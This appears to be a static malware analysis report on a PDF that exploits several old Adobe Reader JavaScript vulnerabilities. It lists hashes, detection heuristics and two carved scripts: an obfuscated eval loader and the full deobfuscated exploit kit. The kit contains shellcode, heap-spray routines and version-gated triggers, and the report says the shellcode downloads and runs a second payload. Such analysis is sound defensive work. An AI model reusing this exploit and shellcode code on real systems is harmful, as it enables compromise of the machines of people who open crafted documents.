Malicious PDF — malware analysis report

Static analysis result for SHA-256 81332944bc61bded…

MALICIOUS

PDF

44.6 KB First seen: 2012-10-10
MD5: a19ca38e5b6f377aa110eb6239b50146 SHA-1: 22eb37ce5a55621fea38fb4cdaca9955d11d378e SHA-256: 81332944bc61bded4b0558b7e359b851bd40bd63cfef2f3aa31435c61a794f98
408 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that exploits several known Adobe Reader vulnerabilities, including CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The deobfuscated JavaScript appears to be a shellcode loader, indicating the sample's primary purpose is to download and execute a secondary malicious payload. The specific vulnerabilities targeted suggest a multi-stage exploit chain.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF55 528 bytes
SHA-256: a1c1ec16880210751b7c45f4425bb7268a409857da29e1884dd015be71076157
Preview script
First 1,000 lines of the extracted script
dhmol='';
v='su';
try{[1,2][6].as();}catch(e){v+=('wqg','bst');}
qwe = ('webweb',v)[v+'r'];
t='le';
a=["e","a","n","b","w",'v','r'];
e=(t,qwe)()[a[0]+a[5]+a[1]+(a,t[0])];
b=qwe['qfwqf'];
e('vjvlp=t'+('qwtwqt','hisundefined').replace(b,'.')+'ti'+'t'+t);
s=vjvlp[v+a[6]](10,4);
s+='tr';
gcm=e('S'+'tring.fro'+vjvlp[s](1,9));
q=vjvlp[s](14);
veha = e(q['re'+'pl'+a[1]+'ce'](/u/g,','));
e('k=veha.length');
for (i = 0; i < k; i+=2) {
	dwzx = veha[i+1] + ('erybjkerl',veha[i]);
	dhmol += gcm(dwzx);
}
e(dhmol);
legacy_pdfkit_stage_000.js deobfuscated-js metadata title CharCode pair decoded JavaScript at offset 0x37 3636 bytes
SHA-256: 0fdaca6dbaa1400b9d087aa6a61cfdffcfa35021b0076d00225bf2f0d3f1b517
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u1434%ue2aa%uc3fa%ue5e8%uffff%ufdff%u1518%u1414%u954a%u48f8%u1415%u9d14%u99f3%u045b%u7b99%u2540%u43cf%u4745%u4747%u4747%u4747%u4741%u7c47%u1510%u1414%u4241%u7c47%u7a7b%u1414%u617c%u7866%u4079%u9a7c%u1a5a%ufcf8%u145c%u1414%ufc44%u1468%u1414%uc4eb%ud097%u7c1c%ufb5b%u115b%ufc44%u1478%u1414%uc4eb%ud491%u0361%u407e%ue74d%u7cbe%uea66%u02a7%u09fc%u1414%u4414%u45fc%u1414%ueb14%u47c4%uea7e%u9d7c%u157b%ufca9%u141c%u1414%ufc44%u1428%u1414%uc4eb%u2574%u70d4%u449f%u9f24%u1846%u469f%u9f00%u3c66%u0cad%u1414%u2514%u25eb%ub8d4%u7528%u1668%u3438%udbd5%u1519%uf6d3%u95e4%u4feb%u5ea8%u9f7e%u0456%u069f%ucd61%u509d%u0830%ud775%u9f74%u3078%u9f30%u2851%u409f%u6c11%ufe15%u5e9f%u9f0c%u344e%uff15%u20f7%u9f5d%u9f20%ufa15%ueb25%ud425%ub8e8%ud490%u1360%udbd5%u1519%uffd3%u2fe0%u3068%u613c%u9ff5%u304e%uff15%u9f72%u5f18%u4e9f%u1508%u9fff%u9f10%ufc15%u509d%u0830%ud675%u141c%ufbfc%uebea%u7ceb%u6060%u2e64%u3b3b%u787f%u7c24%u3a75%u7b77%u3b79%u3a70%u7c64%u2b64%u2972%u2425%u322d%u2971%u1421';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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